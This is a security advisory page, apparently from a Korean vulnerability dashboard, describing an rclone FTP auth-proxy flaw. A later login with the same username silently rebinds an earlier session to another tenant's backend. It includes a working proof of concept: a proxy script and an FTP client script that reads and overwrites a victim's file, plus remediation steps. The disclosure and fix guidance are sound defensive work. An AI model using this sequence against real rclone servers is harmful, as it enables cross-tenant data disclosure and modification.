Kestrel
대시보드로 돌아가기
CVE-2026-88017HIGH· 7.3MITRENVDGHSA대응게시일: 2026. 09. 10.수정일: 2026. 09. 10.

rclone: FTP cross-session auth-proxy backend confusion

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
7.3high

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한낮음
사용자 상호작용필요
범위불변
영향
기밀성 영향높음
무결성 영향높음
가용성 영향없음
버전별 점수
CVSS 3.17.3HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N

상세 설명

Summary

The FTP auth-proxy driver stores one obscured password per username in a server-wide map. It does not bind the credential or returned VFS to the authenticated FTP session. If two accepted credentials use the same username but resolve to different proxy backends, the later login overwrites the map entry. Subsequent operations on the first, still-authenticated session are re-authorized with the later session's password and execute against the later session's backend.

This is not exploitable in every auth-proxy deployment. It requires a proxy that accepts distinct credentials for the same username and returns different roots or backend configurations, plus a later login while the attacker's session remains open. The behavior is nevertheless within the supported model: cmd/serve/proxy keys VFS entries by username, authentication material, and client IP specifically so a new credential can produce a fresh backend.

Confirmed affected versions are v1.75.0 and development commit 5629f2668c69149bf3d9d8e2a25bb32a2648606e. The username-global map was introduced in v1.64.0, but versions before credential-aware proxy caching may require cache expiration or different timing and are not claimed as confirmed here.

Affected Assets & Attack Surface

  • cmd/serve/ftp/ftp.go:170-178 defines userPass map[string]string as driver-global state keyed only by username.
  • cmd/serve/ftp/ftp.go:318-335 validates (user, pass) through the proxy and then overwrites d.userPass[user].
  • cmd/serve/ftp/ftp.go:352-373 retrieves the current map entry by Sess.LoginUser() for every filesystem operation and calls the proxy again with that password.
  • cmd/serve/ftp/ftp.go:376 onward routes FTP filesystem operations through getVFS, including stat, listing, retrieval, upload, rename, and deletion.
  • cmd/serve/proxy/proxy.go:114-119 documents credential- and client-IP-aware backend caching.
  • cmd/serve/proxy/proxy.go:235-243 derives a cache key from username, credential, and client IP.
  • cmd/serve/proxy/proxy.go:328-365 resolves and verifies the VFS using that composite identity.
  • Attack surface: any rclone serve ftp --auth-proxy ... deployment in which the proxy accepts more than one credential for a shared username and those credentials do not have equivalent backend authority.

Technical Root Cause Analysis

Authentication initially uses the correct session data:

text
1d.proxy.Call(user, pass, false, sctx.Sess.RemoteAddr().String())

After success, the driver discards the returned VFS and VFS cache key. It obscures the password and stores it in:

text
1d.userPass[user] = oPass

For each later FTP operation, getVFS knows only the session's username. It looks up whichever password was most recently stored for that username and calls the proxy again. The mutex prevents a Go data race but does not provide session isolation.

The authorization sequence is therefore:

  1. Session A authenticates as shared with credential A and receives backend A.
  2. Session B authenticates as shared with credential B and overwrites userPass["shared"].
  3. Session A performs another FTP command.
  4. getVFS uses credential B, not the credential that authenticated Session A.
  5. The proxy returns backend B, and Session A's command runs there.

This creates a cross-session identity mismatch; no race condition is required. Credential-dependent routing is not an artificial assumption added by the PoC: the proxy cache deliberately distinguishes the same username with different authentication material. A proxy that maps username alone, rejects all concurrent alternate credentials, or binds credentials to client IP in a way that rejects the replay is not exploitable by this sequence.

Proof of Concept & Evidence

Create two roots and a proxy that uses the password as a tenant token while requiring the same FTP username:

python
1mkdir -p /tmp/rclone-ftp-attacker /tmp/rclone-ftp-victim
2printf 'attacker-only\n' > /tmp/rclone-ftp-attacker/attacker.txt
3printf 'victim-secret\n' > /tmp/rclone-ftp-victim/victim.txt
4
5cat > /tmp/rclone-ftp-proxy.py <<'PY'
6#!/usr/bin/env python3
7import json
8import sys
9
10request = json.load(sys.stdin)
11roots = {
12 "attacker-token": "/tmp/rclone-ftp-attacker",
13 "victim-token": "/tmp/rclone-ftp-victim",
14}
15
16if request.get("user") != "shared" or request.get("pass") not in roots:
17 sys.exit(1)
18
19print(json.dumps({
20 "type": "local",
21 "_root": roots[request["pass"]],
22}))
23PY
24chmod 700 /tmp/rclone-ftp-proxy.py

Start the FTP server on loopback:

text
1./rclone serve ftp \
2 --auth-proxy "python3 /tmp/rclone-ftp-proxy.py" \
3 --addr 127.0.0.1:2121 \
4 --passive-port 30000-30010

In another terminal, keep both sessions open and trigger the overwrite:

python
1python3 - <<'PY'
2import ftplib
3import io
4
5def connect(password):
6 ftp = ftplib.FTP()
7 ftp.connect("127.0.0.1", 2121, timeout=5)
8 ftp.login("shared", password)
9 return ftp
10
11attacker = connect("attacker-token")
12
13# Establish the attacker's original authority.
14original = bytearray()
15attacker.retrbinary("RETR attacker.txt", original.extend)
16assert original == b"attacker-only\n"
17
18try:
19 attacker.size("victim.txt")
20 raise AssertionError("victim file unexpectedly visible before overwrite")
21except ftplib.error_perm:
22 pass
23
24# A second principal logs in with the same username and a different token.
25victim = connect("victim-token")
26assert victim.size("victim.txt") > 0
27
28# The first session is now silently rebound to the victim backend.
29stolen = bytearray()
30attacker.retrbinary("RETR victim.txt", stolen.extend)
31print(stolen.decode().strip())
32attacker.storbinary("STOR victim.txt", io.BytesIO(b"modified-by-first-session\n"))
33
34attacker.quit()
35victim.quit()
36PY
37
38grep -F modified-by-first-session /tmp/rclone-ftp-victim/victim.txt

Observed against 5629f2668c69149bf3d9d8e2a25bb32a2648606e:

  • Before the victim login, the attacker session resolves only the attacker root.
  • After the victim login, the already-authenticated attacker session reads victim.txt.
  • A write through the attacker session overwrites the file in the victim root.

The complete automated validation used the actual FTP listener, two simultaneous github.com/jlaffaye/ftp clients, and an external auth-proxy process that mapped the two tokens to separate temporary local roots. It verified the precondition that victim.txt was unavailable to the first session before the second login, then verified both cross-root read and overwrite after the login. It passed on Windows/amd64 with Go 1.26.2:

text
1=== RUN TestSecurityValidationFTPAuthProxyCrossSession
2--- PASS: TestSecurityValidationFTPAuthProxyCrossSession (2.11s)

Both PoC sessions use loopback, so they have the same client IP and the test isolates the credential-keying defect. Across different client IPs, the issue remains reachable when the proxy does not bind credentials to source addresses. If the proxy enforces such a binding, replay of the victim credential may fail and that deployment is not exploitable by this sequence.

Impact Assessment

A low-privileged user with a valid auth-proxy credential can gain the read, write, and delete authority of another accepted credential sharing the same FTP username. The unauthorized capability is direct: the first session operates on the second credential's VFS without authenticating with that credential.

The maximum impact is cross-tenant disclosure, modification, and deletion of all objects exposed by the victim backend. Actual severity is lower when all credentials for a username intentionally represent the same principal and equivalent root. The victim or an automated client must log in after the attacker, and the attacker must keep the original FTP session open.

This is not a generic FTP username-enumeration issue and does not give an unauthenticated party access. It is a session-isolation failure in auth-proxy mode.

Remediation Guidance

Bind the credential or backend identity to the FTP session, never to the username. goftp.io/server/v2 exposes sctx.Sess.Data, which persists across commands for one session and is released with that session.

A compatible fix is:

  1. On successful CheckPasswd, store a private session binding in sctx.Sess.Data. The binding can contain the obscured password and username, or another opaque value sufficient to resolve the same proxy entry.
  2. In getVFS, retrieve only that session binding. Never consult a driver-global username map.
  3. If re-authentication occurs on the same FTP session, replace the binding only after the new authentication succeeds; clear it on a failed authentication attempt where the library keeps the session alive.
  4. Preserve proxy cache expiry semantics. Holding a VFS pointer forever would prevent the existing cache from expiring it; storing the session's obscured credential and re-calling Proxy.Call retains current expiry behavior while maintaining identity.
  5. Remove userPass, userPassMu, and the associated global credential lifetime after the session-based path is in place.

Avoid keying a replacement map by remote address, username, or client IP. Multiple sessions can share all of those values. If a library limitation makes Session.Data unsuitable, use the *ftp.Session pointer as the key and add reliable disconnect cleanup; session-owned state is preferable because cleanup is automatic.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.